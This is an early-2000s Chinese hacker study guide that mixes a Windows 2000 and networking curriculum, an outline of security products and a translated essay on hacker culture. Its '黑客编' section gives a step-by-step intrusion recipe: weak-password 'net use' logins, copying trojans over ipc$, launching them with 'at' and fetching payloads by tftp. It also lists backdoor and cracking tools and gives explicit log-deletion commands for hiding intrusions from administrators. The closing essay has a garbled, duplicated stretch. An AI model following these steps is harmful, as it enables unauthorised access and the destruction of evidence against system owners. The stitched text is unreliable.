基础:
如何去学习
·要有学习目标
·要有学习计划
·要有正确的心态
·有很强的自学能力
学习目标
·1.明确自己的发展方向(你现在或者将来要做什么,程序员?安全专家?网络黑客等)
·2.自己目前的水平和能力有多高
·能简单操作windows2000
·能简单配置windows2000的一些服务
·能熟练的配置Windows2000的各种服务
·能熟练配置win2000和各种网络设备联网
·能简单操作Linux,Unix,Hp-unix, Solaris中的一种或者多种操作系统
·能配置cicso,huawei,3com,朗迅等网络设备
·会简单编写C/C++,Delphi,Java,PB,VB,Perl
·能简单编写Asp,Php,Cgi和script,shell脚本
·3.必须学会不相信态度,尊重各种各样的能力
·不要为那些装模做样的人浪费时间
·尊重别人的能力,
·会享受提高自己能力的乐趣.
·在知道了自己的水平和能力之后就要开始自己的目标了
·--------安全专家
·--------黑客
·--------高级程序员
·黑客是建设网络,不是破坏网络,破坏者是骇客;
·黑客有入侵的技术,但是他们是维护网络的,所以和安全专家是差不多的;
·因为懂得如何入侵才知道如何维护
·因为懂得如何维护才更要了解如何入侵
·这是黑客与安全专家的联系
·但,他们都是在会编程的基础上成长的!
·下面我们开始我们的学习计划!
学习计划
有了学习计划才能更有效的学习
安全学习计划
不奢求对win98有多么精通,我们也不讲解win98如何应用,如何精通,我们的起步是win2000 s
erver,这是我们培训的最低标准,你对英语有一定的了解也是必不可少
最基础
·a.会装win2000,知道在安装的时候有两种分区格式,NTFS与FAT32及他们的区别,知道win2
000可以在安装的时候分区,格式化硬盘,可以定制安装,可以定制自己需要安装的一些组件
,如果有网络适配器,可以直接加入域中学习点:NTFS和FAT32分区的不同各个组件的作用
域的定义
·b.知道如何开,关机知道注销的用处
·c.知道win2000下面各主要目录的作用 Documents and Settings,WINNT,system32 Progra
m Files
·d.知道管理工具里面各个组件的定义
·e.学会应用命令提示符cmd(dos)
·f.知道计算机管理里面的各个选项的不通
·g.知道win2000强大的网络管理功能
·h.能非常熟练的操作win2000
·i.知道IP地址,子网掩码,网关和MAC的区别
进阶
·A.配置IIS,知道各个选项的作用
·B.配置DNS,DHCP
·C.配置主控制域,辅助域
·D.配置DFS
·E.配置路由和远程访问
·F.配置安全策略IPSEC
·G.配置service(服务)
·H.配置磁盘管理,磁盘分额
·i.配置RAID(0,1,0+1,5)
·J.路由器的安装与简单配置
·K.交换机的安装与简单配置
·L.常见的VPN,VLAN,NAT配置
·M.配置常见的企业级防火墙
·N.配置常见的企业级防病毒软件
高级
·之前我们学到的是任何一个想成为网络安全专家和黑客基本知识中的一部分
·你作到了吗??
·如果你做到了,足以找到一份很不错的工作!
配置负载均衡
·配置WIN2000+IIS+EXCHANGE+MSSQL+SERVER-U+负载均衡+ASP(PHP.CGI)+CHECK PIONT(ISA
SERVER)·
·配置三层交换网络·
·配置各种复杂的网络环境
·能策划一个非常完整的网络方案·
·能独自组建一个大型的企业级网络·
·能迅速解决网络中出现的各种疑难问题
结束
·在你上面的都学好了,你已经是一个高级人才了,也是我们VIP培训的目标!
·可以找到一份非常好的工作
·不会再因为给女朋友买不起玫瑰而发愁了!
安全:
导读
·系统安全服务(SYSTEM)
·防火墙系统(FIREWALL)
·入侵检测(IDS)
·身份验证(CA)
·网站监控和恢复(WEBSITE)
·安全电子商务(E-BUSINESS)
·安全电子邮件(E-MAIL)
·安全办公自动化(OA)
·Internet访问和监控(A&C)
·病毒防范(VIRUS)
·虚拟局域网(VPN)
系统安全服务
·系统安全管理
·系统安全评估
·系统安全加固
·系统安全维护
·安全技能学习
系统安全管理
·信息系统安全策略
·信息系统管理员安全手册
·信息系统用户安全手册
·紧急事件处理流程
系统安全评估
1、系统整体安全分析
·分析用户的网络拓扑结构,以找出其结构性及网络配置上存在的安全隐患。
·通过考察用户信息设备的放置场地,以使得设备物理上是安全的。
·分析用户信息系统的管理、使用流程,以使得系统能够安全地管理、安全地使用
2、主机系统安全检测
·通过对主机进行安全扫描,以发现系统的常见的安全漏洞。
·对于特定的系统,采用特别的工具进行安全扫描。
·根据经验,对系统存在的漏洞进行综合分析。
·给出系统安全漏洞报告。
·指出各个安全漏洞产生的原因以及会造成的危险。
·给出修复安全漏洞的建议
3、网络设备安全检测
·通过对网络进行安全扫描,以发现网络设备的安全漏洞。
·根据经验,对网络设备存在的漏洞进行综合析。
·给出网络设备安全漏洞报告。
·指出各个安全漏洞产生的原因以及会造成的险。
·给出修复安全漏洞的建议。
安全系统加固
·为用户系统打最新安全补丁程序。
·为用户修复系统、网络中的安全漏洞。
·为用户去掉不必要的服务和应用系统。
·为用户系统设置用户权限访问策略。
·为用户系统设置文件和目录访问策略。
·针对用户系统应用进行相应的安全处理。
安全系统维护
·防火墙系统维护,安全日志分析
·IDS系统维护,安全日志分析
·VPN系统维护,安全日志分析
·认证系统维护,安全日志分析
·服务器、主机系统,安全日志分析
·其它各类安全设施维护及日志分析
安全技能培训
·网络安全基础知识
·网络攻击手段演示和防范措施
·防火墙的原理和使用
·VPN的原理和使用
·漏洞扫描工具的原理和使用
·IDS(入侵检测系统)的原理和使用
·身份认证系统的原理和使用
·防病毒产品的原理和使用
·系统管理员安全培训
·一般用户安全培训
防火墙系统
·防火墙的定义
·防火墙的分类
·包过滤防火墙
·应用网关防火墙
·状态检测防火墙
·一般企业防火墙配置
·政府机构防火墙配置
·涉密网络保密网关配置
·高可用性和负载均衡防火墙系统
·高速防火墙系统
防火墙的定义
·用以连接不同信任级别网络的设备。
·用来根据制定的安全规则对网络间的通信进行控制
防火墙的分类
·包过滤(Packet Filters)
·应用网关(Application Gateways)
·状态检测(Stateful Inspection)
包过滤防火墙
·包过滤技术
·主要在路由器上实现,根据用户定义的内容(如IP地址、端口号)进行过滤。包过滤在网
络层进行包检查与应用无关。
·优点
·具有良好的性能和可伸缩性。
·缺点
·由于包过滤技术是对应用不敏感的,无法理解特定通讯的含义,因而安全性很差。
应用网关防火墙
·应用网关技术
·第二代防火墙技术,其在应用的检查方面有了较大的改进,能监测所有应用层,同时对应
用“内容”(Content Information)的含义引入到了防火墙策略的决策处理。
·优点
·安全性比较高。
·缺点
· 1、该方法对每一个请求都必须建立两个连接,一个从客户端到防火墙系统,另一个从
防火墙系统到服务器,这会严重影响性能。
· 2、防火墙网关暴露在攻击者之中。
· 3、对每一个代理需要有一个独立的应用进程或 daemon来处理,这样扩展性和支持
新应用方面存在问题。
检测状态防火墙
·属第三代防火墙技术,克服了以上两种方法的缺点,引入了OSI全七层监测能力,同时
又能保持 Client/Server的体系结构,也即对用户访问是透明的。
·防火墙能保护、限制其他用户对防火墙网关本身的访问。
·状态检测技术在网络层截获数据包后交给INSPECT Engine,通过 INSPECT Engine可以
从数据包中抽取安全决策所需的所有源于应用层中的状态相关信息,并在动态状态表中维
持这些信息以提供后继连接的可能性预测。该方法能提供高安全性、高性能和扩展性、高伸
缩性的解决方案。
入侵检测系统
·处理攻击时遇到的典型问题
·解决入侵的方法和手段
·基于网络的入侵检测
·基于主机的入侵检测
·入侵检测系统典型配置
处理攻击时遇到的问题
·获得的信息不足
·不知到网络上发生了什么事。
·无法判定系统是否已经被入侵。
·信息不准确
·人员少
·没有足够的人员维护管理。
·缺乏规范的处理程序
·发现攻击时如何反应?
·下一步该如何处理?
解决入侵的方法和手段
·采用入侵实时入侵监控系统(IDS)
·对系统、网络中发生的事件进行实时监控。
·当发生入侵事件时能即时反应。
·对入侵事件进行详细记录并跟踪。
基于主机的入侵检测
·软件模块安装在包含有重要数据的主机上
·监视操作系统的日志以发现攻击的特征。
·监视代理所处主机上的所有进程和用户.
·监视暴力登录攻击(brute-force login),试图改变或绕过安全设定,及特权的滥用等
。
·当新的日志产生时,为了减小对CPU的影响,代理程序暂时中断。
基于网络的入侵检测
·软件安装在专门的主机上,放置于关键的网段
·将配置该软件主机的网卡设置为混杂模式,使得该主机能接受网段上所有的包。
·分析数据包以判断是否有黑客攻击。
·监视网段上的所有数据。
·对网络的流量无任何影响。
·能检测到 denial of service attacks, unauthorized access attempts, pre-attack s
cans等攻击。
身份认证系统
·用户身份认证的方法
·不同认证方法的安全级别
·用户身份认证的常用方式
·解决问题的方法
·目前比较成熟的双因素认证方法
用户身份验证
·你知道的一些东西
·密码,身份证号,生日
·你有的一些东西
·磁卡,智能卡,令牌,钥匙
·你独有的一些东西
·指纹,声音,视网膜
密码是不安全的
·可以破解密码的工具太多
·大多密码在网络中是明文传输的
·密码可以网络离线时被窥测
·密码和文件从PC和服务器上被转移了
·好记的密码容易被猜到,不易猜测的密码又太难记
解决方法
·使用混合的工具:如IC卡+PIN
网站监控与恢复系统
·典型的Web服务器应用
·Web服务器存在的安全问题
·网站安全解决方法
典型web服务器应用
·Internet-->路由器-->防火墙-->web站点
·|
·|
·内部网
·所有的放在防火墙后面
Web服务器存在的安全问题
·网页被非法篡改是网站内容提供者最头痛的问题。在采用防火墙后,Web服务器本身的漏
洞成为了网站被黑的主要问题。
· Web应用服务器(如IIS,Apache中存在着大量的安全漏洞.)
·用户自己开发的CGI、ASP、PHP应用中存在着大量潜在的漏洞。
网站安全
·采用Web服务器监控与恢复系统
·该系统提供对网站文件内容的实时监控,发现被改动后立即报警并自动恢复。
电子商务安全系统
·典型的电子商务应用
·电子商务中存在的安全问题
·电子商务的安全解决方法
·实时数据交换系统
典型电子商务应用
·Internet--->防火墙--->Web服务器
·|||
·|||
·内部网(数据库)
电子商务中存在的安全问题
·1、Web服务器端
·Web应用服务器(如IIS、Apache中存在着大量的安全漏洞。用户自己开发的CGI、ASP、PH
P应用中存在着潜在的漏洞。
·黑客通过这些漏洞攻击Web服务器,可非法篡改网页,造成恶劣影响,动摇了电子商务使
用者的信心。
·甚至可获得Web服务器上大量的敏感资料,如用户的信用卡号,用以连接内部数据库的帐
号和口令。
·可能通过控制Web服务器,来攻击内部数据库。
电子商务中存在的安全问题
·2、SSL协议
·SSL加密强度低。由于浏览器默认的加密模块只支持40位的低强度加密,而且即使在浏览
器中安装更高位的加密模块,由于WEB服务器不提供对高位SSL链接的支持同样无法实现高强
度SSL加密链接。
·无法解决电子商务中的用户签名。SSL链接建立WEB服务器和用户浏览器之间的安全通道
只能保证在安全通道内的信息不被窃听或篡改,并不能对用户发送的信息进行签名以保证信
息的有效性和不可抵赖性,而这正是电子商务中必须解决的问题。
电子商务的安全解决方法
·将WEB服务器分为两部分:一般内容的WEB服务器和交易WEB服务器。
·一般内容的WEB服务器放置在DMZ区内,采用WEB站点监控和恢复系统保护,防止主页被非
法改动。
·交易WEB服务器放置在内部网内,通过一台物理分隔的实时数据交换系统将其与DMZ区相
连。
·在客户机和服务器端安装SSL代理,从而获得128位的高强度加密通道
实时数据交换系统
·将系统外部 Web服务器和内部应用Web服务器物理隔开.
·外部Web服务器用于存放一般的信息,内部Web服务器用于存放敏感信息,并和内部数据
库连接。
·外部用户通过http访问位于DMZ区内的一般Web服务器。
·当进行交易时,用户需访问位于内部网内的应用服务器。
·https连接首先到达实时数据交换系统的虚拟外部Web服务器,实时数据交换系统将https
协议解开,只将https连接的数据内容拷贝到虚拟内部Web服务器,虚拟内部Web服务器将使
用该数据重新发起https连接到实际的内部应用Web服务器.
·内外通过实时数据交换系统进行数据交换,无任何协议和连接穿过实时数据交换系统。
·即使DMZ区的Web服务器受到攻击,攻击者也的不到任何有用的信息
安全电子邮件系统
·电子邮件的安全问题
·安全电子邮件的解决方法
·一个安全邮件的使用过程
电子邮件的安全问题
·如何保证发送的敏感信息不被泄漏
·如何保证发送的信息不被篡改
·如何确认发件人的真实身份
·如何防止发件人的抵赖行为
安全电子邮件的解决方法
·将PKI体系应用到邮件系统中
·邮件的加密和解密以实现数据的保密。
·邮件的数字签名(鉴别)实现发件人认证和不可抵赖。
·完整性校验功能防止信息传输过程中被篡改可*的安全性。
·采用公开密钥和对称密钥相结合的密钥体系。
·支持128bit对称密钥算法和1024bit公开密钥算法。
办公自动化系统的安全问题
·如何保证发送的敏感信息不被泄漏
·如何保证发送的信息不被篡改
·如何确认发件人的真实身份
·如何防止发件人的抵赖行为
安全办公自动化系统的解决方法
·将PKI体系应用到办公自动化系统中
·工作流信息的加密和解密以实现数据保密
·工作流信息的数字签名(鉴别)实现发件人认证和不可抵赖。
·完整性校验功能防止信息传输过程中被篡改可*的安全性。
·采用公开密钥和对称密钥相结合的密钥体系
·支持128bit对称密钥算法和1024bit公开密钥算法。
Internet访问及控制系统
·Internet使用存在的问题
·Internet使用的解决方法
·内容缓存系统
·Internet站点过滤系统
Internet访问存在的问题
·Internet接入带宽不足,访问比较慢。
·大量的用户访问相同的内容,造成带宽的进一步拥挤。
·在上班时间里大量的Internet访问是与业务无关的。
·有人使用公司的Internet系统访问色情网站。
·有人使用公司的Internet系统访问反动站点。
·管理人员无法知道Internet系统的使用情况。
Internet访问的解决方法
·对于问题一,采用内容缓存系统。
·对于问题二,采用Internet站点过滤系统。
内容缓存系统
·1、Client发起http连接请求
·2、Proxy收到请求后将检查内部缓存内是否有所需内容,若有,则返还给Client。
·3、若无,则Proxy根据请求向目的服务器发起请求。
·4、Web服务器将内容返回到Proxy服务器。
·5、Proxy服务器将得到的内容发回给Client,并在自己的缓存中保存一份。
Internet站点过滤系统(一)
·1、Client发起http连接请求
·2、连接到达防火墙时防火墙将URL送到WebSense Server检查。
·3、WebSense将审查结果返回到防火墙。
·4、防火墙根据其策略决定是否让该连接通过。
Internet站点过滤系统(二)
·1、Client发起http连接请求
·2、Proxy受到请求后将URL送到WebSense Server检查。
·3、Proxy根据返回的结果决定是否接收该连接请求。
病毒防范系统
·互连网时代对防病毒系统的要求
·计算机病毒解决方法
·典型病毒防范系统部署
互联网时代对防病毒系统的要求
·由于计算机的联网使用,使得病毒传播的途径大为增多:网络文件共享、电子邮件、Int
ernet文件下载,传播速度也大为加快。
·新病毒的出现速度加快,用户的防病毒软件的病毒特征码没能及时更新。
·目前已出现了恶意的Java、ActiveX,当使用者浏览到包含这些代码的网页时,会造成安
全问题。
·一些来历不明的电子邮件程序或下载的程序中带有特洛依木马,可能会造成受害者的主
机被他人控制。
计算机病毒解决方法
·从系统的观点考虑病毒的防范,在所有病毒传输的途径上均配置防病毒软件,如客户端
(Win98、· Win2000)、文件服务器(NT、Netware)、邮件服务器(Exchange、Lotus
Notes)、Internet接入系统(Proxy、Firewall)等。
·整个病毒防范系统采用集中管理的方式,病毒特征码统一更新,安全策略集中设定,从
而使得整个网络系统的病毒特征码得到快速更新。
·通过在客户端的浏览器和Proxy、Firewall中嵌入病毒检查软件,来防范下在程序中带有
的病毒和可能的恶意Java、ActiveX等可执行代码的攻击。
VPN(虚拟私有网)
·数据加密分类
·物理线路加密
·数据链路加密
·网络层加密—IPSec
·传输层加密—SSL
数据加密类型
·物理层->物理层物理线路加密
·数据链路层->数据链路层(路由器访问)
·在数据链路层(如PPP)进行加密 L2TP、PPTP、L2F
·网络层->网络层(路由器防火墙主机)
·在网络层(如IP)进行加密 IPSec
·传输层->传输层(对TCP进行加密 SSL)
·应用层->应用层(在应用层(如TCP)进行加密 S/MIME、SET、SSH)
物理线路加密
· DDN加密机
·帧中继加密机
·异步拨号Modem
· ISDN线路密码机
· ATM加密机
注:传输层加密
·Secure Sockets Layer(SSL)是一个端到端的Internet安全协议,通过采用数字证书,
它提供了数据加密、身份认证的功能。SSL建立在传输层,它为客户机和服务器在应用级建
立起一个端到断的安全会话。
·SSL代理—128位的高强度加密模块
结束语·恭喜你:
·学完这些并且可以熟练应用,已经是一个真正的网络安全专家了!
·希望此时的你旁边有个温柔稍有点调皮的女朋友,为这孤独而寂寞的网络添加一点跳动的
色彩!
黑客编:
必须要掌握的几个命令
·Net
·netsh
·Ftp
·hostname
·Telenet(nc)
·tracert
·At
·Tftp
·Netstat
·Regedit
·Ping
必须要掌握的几个协议
·http
·dns
·ftp
·Pop
·Smtp
·Icmp
·Udp
·tcp
开始
·掌握了黑客攻击的方式和手段后,那么学习黑客就简单多了!
·因为你掌握了这些,剩余的就是使用工具入侵
·熟悉掌握一套自己用的黑客工具
高级
·自己编写专用的黑客工具
·自己发现系统漏洞
黑客入侵手段
·收集信息:
·收集要入侵的目标信息
· IP,域名,端口,漏洞,位置
弱口令
·在nt\2000\xp\2003中弱口令可以用
·Net use\ip“password”/user:user
·如果目标机开3389服务,可以直接连接
·在sql的sa弱口令,可以用sql连接器直接·登陆
后门木马
·如果有ipc$共享,可以copy过去木马后门
·用at启动
·AT\ip time/INTERACTIVE
·如果可以得到shell,也可以用tftp
·Tftp.exe–i ip get*.**.*
·然后直接安装·如果有3389,可以自己建一个iis,下载直接运行
密码破解
·远程破解mysql,mssql,ftp,mail,共享密码
·本地破解管理员(administrator)密码
缓冲溢出
·可以用缓冲溢出攻击,
·比如流行的webdev,rdcom模块漏洞
·可以直接得到system管理权限
·缓冲溢出后的一般现象是:
·Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
Web服务漏洞
·例如:
·Unicode漏洞遍历磁盘和执行程序
·二次编码漏洞遍历磁盘和执行程序
·.HTR漏洞查看源代码
嗅探监听
·例如:
·针对web监听
·针对mail监听
·工具如:sinffer, iris
欺骗攻击
·例如:
·运用arp欺骗攻击
伪装欺骗
·常见的如:mail病毒
·把一个文件改名字甚至图标,欺骗对方执行
社会工程学
·例如:
·QQ聊天诱惑
·EMAIL信息
·电话
·诱惑
拒绝服务
·例如:
·Dos攻击
·Ddos攻击
利用跳板
·利用自己的肉鸡作为跳板攻击别的机器
·My PC------>跳板(肉鸡)--->目标
路由器漏洞
·如:
·原始密码
·程序漏洞
防火墙
·利用欺骗攻击防火墙,导致防火墙功能失效
·利用防火墙的模块漏洞
unix/linux
·NetWare Linux unix solais Solaris hp-unix Aix等
·这些目前先不讲解
精通黑客工具
·必须有一套自己可以完全掌握的黑客工具
·如端口扫描 Nscan,bluescanport
·监听工具:sinffer iris
·telnet工具:nc
·扫描工具:sss,nmap, LANguard
·后门工具:radmin,winshell
·密码破解:lc4
·远程管理:pcanywhere
·会使用各种经典的黑客工具
清除日志
·在你入侵机器以后,离开的时候,要完全清除
·自己在那台机器上留下的痕迹
·例如清除
·Del C:\WINNT\system32\LogFiles\*.*
·Del C:\WINNT\system32\*.log
·Del C:\WINNT\system32\*.txt
·Del C:\WINNT\*.log
·Del c:\winnt\*.txt
如果你不清除日志
·当目标机器的管理员发现你的证据
·完全可以让你在大墙内渡过一段日子
黑客
·当你完全掌握这些后
·你就成为了一名小黑客
高级
·编写自己的黑客工具
·发现系统漏洞
高级黑客
·目前你足以成为一个高级黑客了
真正的黑客
·精通各种网络协议
·精通操作系统
·精通编程技术
·精通安全防护
·不搞破坏
·挑战技术难题
结束
·想学好这些,并不是*别人给你的,而是*自己的努力,自己的自学得到的!
·别人只能指导你,怎么去做,只能告诉方法,
·真正的实施是你自己,经过N*N个日夜努力换来的
如何成为一名黑客
什么是黑客?
Jargon File中对“黑客”一词给出了很多个定义,大部分定义都涉及高超的编程技术,强烈的解决问题和克服限制的欲望。如果你想知道如何成为一名黑客,那么好,只有两方面是重要的。(态度和技术)
长久以来,存在一个专家级程序员和网络高手的共享文化社群,其历史可以追溯到几十年前第一台分时共享的小型机和最早的ARPAnet实验时期。这个文化的参与者们创造了“黑客”这个词。黑客们建起了Internet。黑客们使Unix操作系统成为今天这个样子。黑客们搭起了Usenet。黑客们让WWW正常运转。如果你是这个文化的一部分,如果你已经为它作了些贡献,而且圈内的其他人也知道你是谁并称你为一个黑客,那么你就是一名黑客。
黑客精神并不仅仅局限于软件黑客文化圈中。有些人同样以黑客态度对待其它事情如电子和音乐---事实上,你可以在任何较高级别的科学和艺术中发现它。软件黑客们识别出这些在其他领域同类并把他们也称作黑客---有人宣称黑客实际上是独立于他们工作领域的。但在本文中,我们将注意力集中在软件黑客的技术和态度,以及发明了“黑客”一词的哪个共享文化传统之上。
另外还有一群人,他们大声嚷嚷着自己是黑客,实际上他们却不是。他们是一些蓄意破坏计算机和电话系统的人(多数是青春期的少年)。真正的黑客把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的黑客认为骇客们是些不负责任的懒家伙,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客,正如拿根铁丝能打开汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成黑客;这种做法激怒真正的黑客。
根本的区别是:黑客们建设,而骇客们破坏。
如果你想成为一名黑客,继续读下去。如果你想做一个骇客,去读 alt.2600新闻组,并在发现你并不像自己想象的那么聪明的时候去坐5到10次监狱。关于骇客,我只想说这么多。
---黑客的态度
黑客们解决问题,建设事物,信仰自由和双向的帮助,人人为我,我为人人。
要想被认为是一名黑客,你的行为必须显示出你已经具备了这种态度。要想做的好象你具备这种态度,你就不得不真的具备这种态度。但是如果你想靠培养黑客态度在黑客文化中得到承认,那就大错特错了。因为成为具备这些特质的这种人对你自己非常重要,有助于你学习,并给你提供源源不断的活力。同所有有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神---不是仅从理智上,更要从感情上进行模仿。
So,如果你想做一名黑客,请重复以下事情直到你相信它们:
1这世界充满待解决的迷人问题
做一名黑客有很多乐趣,但却是些要费很多气力方能得到的乐趣。这些努力需要动力。成功的运动员从健壮体魄,挑战自我极限中汲取动力。同样,做黑客,你必须
要有从解决问题,磨练技术,锻炼智力中得到基本的热望。如果你还不是这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他诱惑无情地吞噬掉---如金钱、性和社会上的虚名。
(同样你必须对你自己的学习能力建立信心---相信尽管你对某问题所知不多,但如果你一点一点地学习、试探,你最终会掌握并解决它。)
2.一个问题不应该被解决两次
聪明的脑瓜是宝贵的,有限的资源。当这个世界还充满其他有待解决的有趣问题之时,他们不应该被浪费在重新发明轮子这些事情上。作为一名黑客,你必须相信其他黑客的思考时间是宝贵的---因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决新问题而不是重复地对付旧问题。
(你不必认为你一定要把你的发明创造公布出去,但这样做的黑客是赢得大家尊敬最多的人。卖些钱来给自己养家糊口,买房买车买计算机甚至发大财和黑客价值也是相容的,只要你别忘记你还是个黑客。)
3.无聊和乏味的工作是罪恶
黑客们应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情---解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,它们是极大的犯罪。要想做的象个黑客,你必须完全相信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。
(对此有一个明显的例外。黑客们有时也做一些重复性的枯燥工作以进行“脑力休息”,或是为练熟了某个技巧,或是获得一些除此无法获得的经验。但这是他自己的选择---有脑子的人不应该被迫做无聊的活儿。)
4自由就是好
黑客们是天生的反权威主义者。任何能向你发命令的人会迫使你停止解决令你着迷的问题,同时,按照权威的一般思路,他通常会给出一些极其愚昧的理由。因此,不论何时何地,任何权威,只要他压迫你或其他黑客,就要和他斗到底。
(这并非说任何权力都不必要。儿童需要监护,罪犯也要被看管起来。如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客会同意接受某种形式的权威。但这是一个有限的、特意的交易;权力想要的那种个人服从不是你的给予,而是无条件的服从。)
权力喜爱审查和保密。他们不信任自愿的合作和信息共享---他们只喜欢由他们控制的合作。因此,要想做的象个黑客,你得对审查、保密,以及使用武力或欺骗去压迫人们的做法有一种本能的反感和敌意。
5.态度不能替代能力
要做一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,就象这并不能使你成为一个运动健将和摇滚明星一样。成为一名黑客需要花费智力,实践,奉献和辛苦。
因此,你必须学会不相信态度,并尊重各种各样的能力。黑客们不会为那些故意装模做样的人浪费时间,但他们却非常尊重能力---尤其是做黑客的能力,不过任何能力总归是好的。具备很少人才能掌握的技术方面的能力尤其为好,而具备那些涉及脑力、技巧和聚精会神的能力为最好。
如果你尊敬能力,你会享受提高自己能力的乐趣---辛苦的工作和奉献会变成一种高度娱乐而非贱役。要想成为一名黑客,这一点非常重要。
基本黑客技术
黑客态度是重要的,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一套基本的技术你必须掌握。这套基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去包括使用机器码编程,而知道最近才包括了HTML语言。但现在明显包括以下技术:
1学习如何编程
这当然是最基本的黑客技术。如果你还不会任何计算机语言,我建议你从Python开始。它设计清晰,文档齐全,对初学者很合适。尽管是一门很好的初级语言,它不仅仅只是个玩具。它非常强大,灵活,也适合做大型项目。
但是记住,如果你只会一门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个普通程序员的水平---你需要学会如何以一个通用的方法思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会如何在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种不同的语言。
如果要做一些重要的编程,你将不得不学习C语言,Unix的核心语言。其他对黑客而言比较重要的语言包括Perl和LISP。 Perl很实用,值得一学;它被广泛用于活动网页和系统管理,因此即便你从不用Perl写程序,至少也应该能读懂它。 LISP值得学习是因为当你最终掌握了它你会得到丰富的经验;这些经验使你在以后的日子里成为一个更好的程序员,即使你实际上可能很少使用LISP本身。
当然,实际上你最好四种都会。(Python, C, Perl, and LISP).除了是最重要的四种基本语言,它们还代表了四种非常不同的编程方法,每种都会让你受益非浅。
这里我无法完整地教会你如何编程---这是个复杂的活儿。但我可以告诉你,书本和课程也不能作到。几乎所有最好的黑客都是自学成材的。真正能起作用的就是去亲自读代码和写代码。
学习如何编程就象学习用自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,又读些,又写点....如此往复,直到你达到自己在范文中看到的简洁和力量。
过去找到好的代码去读是困难的,因为很少有大型程序的可用源代码能让新手练手。这种状况已经得到了很大的改善;现在有很多可用的开放源码软件,编程工具和操作系统(全都有黑客写成)。这使我们自然地来到第二个话题...
2得到一个开放源码的Unix并学会使用、运行它
我假设你已经拥有了一台个人计算机或者有一个可用的(今天的孩子们真幸福:-))。新手们最基本的一步就是得到一份Linux或BSD-Unix,安装在个人计算机上,并运行它。
当然,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发送的---你无法读到它的源码,更不可能修改它。尝试在DOS或Windows的机器上学习黑客技术,就象是在腿上绑了铁块去学跳舞。
除此之外,Unix还是Internet的操作系统。你可以不知道Unix而学会用Internet,但不懂它你就无法成为一名Internet黑客。因为这个原因,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此很不高兴,但Unix和Internet之间的共生关系已是如此之强,甚至连微软也无可奈何)
So,装一个Unix---我个人喜欢Linux,不过也有其他选择。(你也可以在同一台机器上同时运行DOS,Windows和Linux)学会它。运行它。用它跟Internet对话。读它的代码。试着去修改他。你会得到比微软操作系统上好的多的编程工具(包括C,Lisp, Python, and Perl),你会得到乐趣,并将学到比你想象的更多知识。
关于学习Unix的更多信息,请看 The Loginataka.
要得到Linux,请看:哪里能得到 Linux.
3学会如何使用WWW和写HTML
大多黑客文化建造的东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对他人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大而耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的),你就需要学习如何掌握Web。
这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML,Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先建起自己的主页。
但仅仅建一个主页也不能使你成为一名黑客。 Web里充满了各种网页。多数是无意义的,零信息量垃圾。
要想有价值,你的网页必须有内容---必须有趣或对其它黑客有用。这样,我们来到下一个话题....
黑客文化中的地位大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“开拓智域”一文中有更直接的论述。
FAQ(常问问题解答)
问:你会教我如何做黑客吗?
自从第一次发布此页,我每周都会得到一些请求,要我“教会他如何做黑客”;遗憾的是,我没有足够的时间和精力来做这个;我自己的编程项目已经占用了我110%的时间。
甚至即便我想教你也不可能,黑客基本上是一项需要你自行修炼的的态度和技术。你会发现即使真正的黑客想帮助你,如果你乞求他们填鸭一样教你的话,你不会赢得他们的尊敬。
首先去学习。显示你在尝试,你能靠自己去学习。然后再去向黑客们请教问题。
问:你会帮我“黑”掉一个站点吗?或者教我怎么黑它?
No.任何在读完FAQ后还问此问题人,都是愚不可及的家伙,即使有时间我也不会理睬。任何发给我的此类mail都会被忽略或被痛斥。
问:哪里能找到真正的可以与之交流的黑客?
最佳办法是就近参加一个Unix或Linux的用户组,参加他们的会议。
问:我该先学哪种语言?
HTML,如果你还不会的话.
但它不是一个真正的编程语言。当你准备编程时,我建议你从 Python开始.会有很多人向你推荐Perl,它比Python还受欢迎,但却难学一些。
C是非常重要的,但它却是最难学的。不要一开始就尝试学C。
问:开放源码的自由软件不会使程序员饿肚子吗?
这似乎不大可能---到目前,开放源码软件产业创造了而不是消灭了大量工作机会。
如果写一个程序比不写一个程序只是个纯粹经济上的收益的话,无论它是否免费,只要它被完成,程序员都会从中得到回报。而且,无论软件是由多么的free的方法开发的,对更新的软件应用的需求总是会有的。
问:我从何学起?哪里有免费的Unix?
本页的其他地方指向最常用的免费Unix。要做一名黑客,你需要自立自强,以及自我教育的能力。
什么是黑客?
Jargon File中对“黑客”一词给出了很多个定义,大部分定义都涉及高超的编程技术,强烈的解决问题和克服限制的欲望。如果你想知道如何成为一名黑客,那么好,只有两方面是重要的。(态度和技术)
